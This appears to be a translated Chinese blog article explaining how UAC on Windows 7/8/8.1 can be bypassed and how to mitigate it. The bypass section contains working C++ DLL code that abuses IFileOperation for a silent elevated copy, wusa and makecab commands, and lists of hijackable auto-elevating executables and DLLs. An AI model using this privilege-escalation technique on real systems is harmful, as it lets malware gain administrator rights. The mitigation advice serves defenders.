在企业环境中保护机器免受恶意威胁一直是一个持续的过程。如果给用户提供了管理员权限,就会被滥用于安装未经许可的软件,更改配置,等等。如果不给用户提供本地管理员权限,他们就会声称他们不能正常开展工作了。如果恶意软件碰巧感染了拥有完全管理员权限的机器,那么你最有可能眼睁睁的看着计算机被恶意软件重新映像。
用户帐户控制(UAC) 给了我们使用标准的用户权限代替完全的管理员权限来运行程序的能力。所以即使您的标准用户帐户位于本地管理员组中,那么受到的破坏也是有限的,如安装服务,驱动程序以及对安全位置执行写入操作,等等,这些行为都是被拒绝的。要进行这些操作,用户需要与桌面进行交互,如右键单击并以管理员身份运行或者是接受 UAC 提升的提示。Microsoft从 Windows Vista 起就引入了UAC,它包含了大量的技术,其中包括文件系统和注册表虚拟化、保护管理员 (PA) 帐户、UAC 提升提示和 Windows 完整性级别。
UAC 的工作原理是调整我们当前的用户帐户的权限级别,所以即使我们拥有计算机上的本地管理员权限,程序的操作还是作为标准用户进行的。当程序执行的操作需要管理员级别的权限时, UAC 就会通知我们。如果我们已经拥有了本地管理员权限,那么我们可以单击“是”继续,否则系统将会提示您输入管理员密码。当然这些将取决于您的环境中定义了何种策略。
本文讲述了如何轻松地绕过UAC提升提示并且可以采取哪些措施来减轻这种威胁。
绕过 UAC
绕过 UAC 是一个简单的过程。可以采取两个步骤实现从标准的用户权限到管理员用户权限的提升。这些步骤的方法已被广泛的公布,所以这并不是什么新奇的技术,不过在第二个步骤中会出现一些更多的 DLL 劫持漏洞。
·写入到安全位置
·利用 DLL 劫持漏洞
为了能成功的绕过 UAC,在开始前我们需要一些事情:
1.一个完整性级别为中等的进程
2.一个管理员组中的标准用户
3.必须由微软代码签名证书签名过的Windows 可执行文件
4.必须位于一个安全目录的Windows 可执行文件
5.Windows 可执行文件也必须在他们自身的程序清单中指定自动提升属性
写入到安全位置
我们可以使用这几种方法写入到安全位置。
·使用 IFileOperation COM 对象
·使用 Windows 更新独立安装程序 (wusa.exe)
IFileOperation COM 对象
IFileOperation COM 对象有一个方法可以用来将文件复制到安全位置,该操作将会自动进行提升并能够执行特权的拷贝。我们可以在完整性级别为中等的进程中注入我们的恶意DLL来执行此操作以便能够绕过UAC。由于COM 对象设置了自动提升,所以被注入的进程在其程序清单中不需要标记自动提升。
在 windows 7 中可以成功复制并能够注入的进程如下:
C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\taskhost.exe
在测试过程中 taskhost.exe 在开机后只工作一次,wuauclt.exe 并不是一直可以工作, explorer.exe 是唯一可以使用的可靠进程。
在 Windows 8 中可以成功复制并能够注入的进程如下:
C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\RuntimeBroker.exe
在 Windows 8.1的测试过程中我发现Explorer.exe又是唯一可以使用的可靠进程。
下面的代码的主要部分是从MSDN 中得到的,只是做了一些轻微的变化。 SetOperationFlags 的值取自在这里公布的 UAC 绕过代码。
#include <stdio.h>#include <Shobjidl.h>#include <Windows.h> #pragma comment(lib, "Ole32.lib")#pragma comment(lib, "shell32.lib") int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){FileOperation *pfo;IShellItem *psiFrom = NULL;IShellItem *psiTo = NULL; LPCWSTR pszSrcItem = L"calc.dll"; LPCWSTR pszNewName = L"cryptbase.dll"; LPCWSTR pszDest = L"C:\\windows\\System32\\sysprep"; HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);if (SUCCEEDED(hr)){ hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI ); if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom)); if (SUCCEEDED(hr)) { if (NULL != pszDest) { hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo)); } if (SUCCEEDED(hr)) { hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL); if (NULL != psiTo) { psiTo->Release(); } } psiFrom->Release(); } if (SUCCEEDED(hr)) { hr = pfo->PerformOperations(); } } pfo->Release(); } CoUninitialize(); } return 0;}
#p#
Windows 更新独立安装程序
另外一种可用于复制文件到安全位置的方法是使用Windows 更新独立安装程序 (wusa.exe)。Wusa.exe执行时作为高级别完整性进程运行就如同在其清单中设置了自动提升一样。对于自动进行 UAC提升的Windows 可执行文件,必须是被签名过的文件,并位于如 C:\Windows\System32 的安全目录中,并且必须在其清单中指定的自动提升属性。
我们使用 wusa.exe解压一个 CAB 文件到我们的安全位置:
wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep
在这个示例中,我们的 cab 文件为 poc.tmp,不过我们可以将它命名为任何我们所喜欢的名称。Windows 带有 makecab.exe 工具,所以我们甚至可以创建我们自己的 cab 文件。
makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp
利用 DLL 劫持漏洞
当利用一个 DLL 劫持漏洞时,我们要运行的可执行文件需要已签名的文件并位于安全目录中,还必须在其程序清单中指定自动提升属性以便作为一个高级别完整性的进程加载。
在 Windows 7 上,有三个可执行文件可被利用并且相关的 DLL如下:
C:\windows\ehome\Mcx2Prov.exe C:\Windows\ehome\CRYPTBASE.dll C:\windows\System32\sysprep\sysprep.exe C:\Windows\System32\sysprep\CRYPTSP.dll C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\sysprep\RpcRtRemote.dll C:\Windows\System32\sysprep\UxTheme.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL
去年6 月 25 日提交在Malwr.com 上的一种恶意软件已经在采用 Mcx2Prov.exe 来绕过 UAC 并且没过多久该利用漏洞就被公布了。
相同 HASH 的恶意软件在四个月前被提交在VirusTotal (38/54)上。
在 Windows 8 上同样有三个可执行程序可被利用,相关的DLL 如下:
C:\windows\System32\sysprep\sysprep.exe C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\Sysprep\dwmapi.dll C:\Windows\System32\Sysprep\SHCORE.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Windows\System32\UReFS.DLL
最终在 Windows 8.1 中也同样有三个可被利用的可执行程序,相关的DLL 如下:C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll C:\Windows\System32\Sysprep\OLEACC.DLL C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll
在调用 pwcreateor.exe 可执行文件时,它会调用 vds.exe(虚拟磁盘服务),之后会加载我们的DLL 并且执行后的进程的完整性级别为系统级别。
在调用 sysprep.exe,cliconfig.exe,pwcreateor.exe 时会产生一个GUI窗口,你应该可以轻松的使它们运行在后台,并且在绕过 UAC之后将它们结束掉。
缓解措施
防止绕过 UAC的最好的方法是在用户的机器中不要给予他们本地管理员权限。在企业环境中的绝大多数用户帐户你都应该这么去做,以减少受攻击面。然而,这不适用于在默认情况下具有本地管理员权限的家庭用户。
在实际的绕过中,仅对 UAC设置中的中间那两个选项起作用。要查看你的设置你可以在控制面板——用户帐户——改变用户帐户控制设置 中查看。
仅当应用程序尝试更改我的计算机时通知我(默认)
仅当应用程序尝试更改我的计算机时通知我(不降低桌面亮度)
因此,我们需要设置为“总是通知”,但是这样做有点像Windows Vista一样会持续进行通知,所以这并不实用,并且到最后,用户可能会设置为“从不通知”,这样的话,看起来这并不是一个好主意。
Microsoft 提供了 10 个UAC策略,我们有必要在你的域环境中实施策略前花点时间来了解并测试这些策略。你可以在开始-运行中键入 secpol.msc 来打开本地计算机的本地安全策略并展开 本地策略,在安全选项里可以找到应用在本地计算机的用户帐户控制策略。可以使用 rsop.msc 查看在域中应用到本地的组策略。
在注册表中,UAC的默认设置如下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]"ConsentPromptBehaviorAdmin"=dword:00000005"ConsentPromptBehaviorUser"=dword:00000003"EnableInstallerDetection"=dword:00000001"EnableLUA"=dword:00000001"EnableSecureUIAPaths"=dword:00000001"EnableUIADesktopToggle"=dword:00000000"EnableVirtualization"=dword:00000001"FilterAdministratorToken"=dword:00000000"PromptOnSecureDesktop"=dword:00000001"ValidateAdminCodeSignatures"=dword:00000000
把“用户帐户控制设置”设置为“总是通知”,相关的注册项的值改变如下:
"ConsentPromptBehaviorAdmin"=dword:00000002
把“用户帐户控制设置”设置为“仅当应用程序尝试更改我的计算机时通知我(不降低桌面亮度)” 相关的注册项的值改变如下:
"PromptOnSecureDesktop"=dword:00000000
当把“用户帐户控制设置”设置为“从不通知”时,相关的注册项的值改变如下:
"ConsentPromptBehaviorAdmin"=dword:00000000"EnableLUA"=dword:00000000"PromptOnSecureDesktop"=dword:00000000
我们注意到 "EnableLUA"的值为0 ,意味着UAC已被禁用。这是非常危险的,因此,强烈推荐您在组策略中设置此设置选项,这样可以在用户或者是被以前删除的恶意软件重置/改变了设置选项后,依旧可以应用策略,启用UAC。
用户帐户控制: 以管理员批准模式运行所有管理员
一旦禁用此策略将有不只一个恶意进程能够直接并无需任何绕过行为就能以高级别完整性运行而且 IE浏览器进程的完整性级别为中等。在IE浏览器提供的额外的安全性中,UAC 给用户提供了保护模式 (沙盒)。IE浏览器通常在低级别完整性的子进程中运行,因此会将IE 漏洞所带来的一些威胁最小化并且在低级别完整性中,可写入的位置很少。
上述这些改变在 Windows 7中有效,在Windows 8/8.1中 EnableLUA 不会被更改为禁用状态。因此,在将“用户帐户控制”设置为“从不通知”时,只产生了下列改变:
"ConsentPromptBehaviorAdmin"=dword:00000000"PromptOnSecureDesktop"=dword:00000000
这个时候,由于“EnableLUA”=dword:00000001的值没有发生改变,因此, UAC没有完全禁用,同时IE浏览器依旧运行在低级别完整性中。
然而,如果一个用户使用本地管理员帐户登录到计算机时,UAC的设置对于所有使用高级别完整性的进程是不起作用的。因此,在Windwos 7/8 和 8.1中,总是要确保用户没有使用本地管理员帐户登录计算机,如果将域帐户添加到本地管理员组中将会更好的请求本地管理员权限。
不管出于什么原因使用本地管理员帐户登录计算机,最好设置 UAC 策略为启用状态。
用户帐户控制: 对内置管理员帐户使用管理审批模式
“FilterAdministratorToken”=dword:00000001
另一个选项则是如果在系统上不是必须需要这些程序,你可以重命名或删除Mcx2Prov.exe、 sysprep.exe、 cliconfg.exe 和 pwcreator.exe 可执行文件,这样,在第二个步骤中利用 DLL 劫持就会失败。
最后,如果用户请求本地管理员权限并且值得他们修改计算机的UAC为“总是通知“,那么他们将会得到持续不断的通知。
用户帐户控制: 在管理审批模式下管理员的提升提示行为(在安全桌面上同意提示)
结论
这些绕过方式仅在满足所有的条件时才会起作用,只要有一个条件不满足,那么绕过 UAC就会失败。Office 文档进程的完整性级别为中等,因此,这将是一个理想的用于 UAC绕过的目标。由于可以毫不费力地实现 UAC 的绕过,真正唯一能做的就是将 UAC 设置为"始终通知"或删除该用户的本地管理权限。最后可以使用像微软的 EMET或 MalwareBytes 来更好的防御零日漏洞。
这是一些源代码和二进制文件,你可以自行测试。我测试了 Windows 企业版的 7/8/8.1 64 位系统。
参考与引用
http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7
http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-、settings#1TC=windows-7
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know